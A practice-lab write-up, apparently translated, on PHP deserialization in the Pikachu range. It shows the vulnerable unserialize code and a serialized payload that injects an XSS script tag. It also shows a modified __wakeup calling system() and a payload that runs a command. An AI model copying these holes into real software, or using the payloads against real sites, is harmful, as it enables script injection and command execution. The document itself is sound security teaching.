A previous article introduced it in detail Principle of php deserialization No more here
Do some practice in this shooting range
0x01 source code audit
At present, my understanding is that mining deserialization requires knowing the details of the classes, objects and parameters of the interface,
And the magic method.
The call here is relatively simple. Look at the source code
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "unser.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="<p>Big brother,Have something strong!</p>"; }else{ $html.="<p>{$unser->test}</p>"; } } ?>
Chain call analysis
Here is the S class. There is only one $test variable in it. The magic method is__ construct, this method is used to
Initializing an object when creating an object is generally used to assign an initial value to a variable.
Then look at the judgment. In short, if we pass in the successful deserialization string s, it will be executed in else and printed out.
if(!@$unser = unserialize($s)) I struggled with this if statement for a long time and didn't understand it.
Later, with the big brother's explanation This means that the deserialization result 1 is assigned to $unser. If the deserialization is successful, the value will enter else, otherwise enter if, and the following statement attack fails!!
The ps: at symbol (@) is used as an error control operator in PHP. When an expression is appended with the @ symbol, error messages that the expression may generate are ignored.
0x02 construction chain
Then we just need to construct the correct serialized string:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "<script>alert(1)</script>"; $f->test=$payload; echo serialize($f); ?>
Create an object $f according to the S class of the source code. Use this object to call $test in the class and rewrite it as our payload
Then serialize the output
Get the serialization result, we inject it, and the window pops up successfully
payload:O:1:"S":1:{s:4:"test";s:25:"<script>alert(1)</script>";}
0x03 summary and Rethinking
As mentioned earlier, the vulnerability is triggered by the statement after else. If the magic method here is__ wakeup is written in the method automatically called after unserialize
function __wakeup(){ system($this->test); }
I just want to simulate the deserialization scenario that can execute commands
In this way, it will be triggered when we execute unserialize in the if judgment, and the callback will be triggered__ wakeup, execute the sysytem function inside
Then the code we construct should be:
<?php class S{ var $test = "pikachu"; } $f = new S(); $payload = "ipconfig"; $f->test=$payload; echo serialize($f); ?>
Serialized results:
O:1:"S":1:{s:4:"test";s:8:"ipconfig";}
At this time, the modified php shooting range is injected and the command is executed:
After learning a little, we still can't worry. Less is more, and slow is fast~~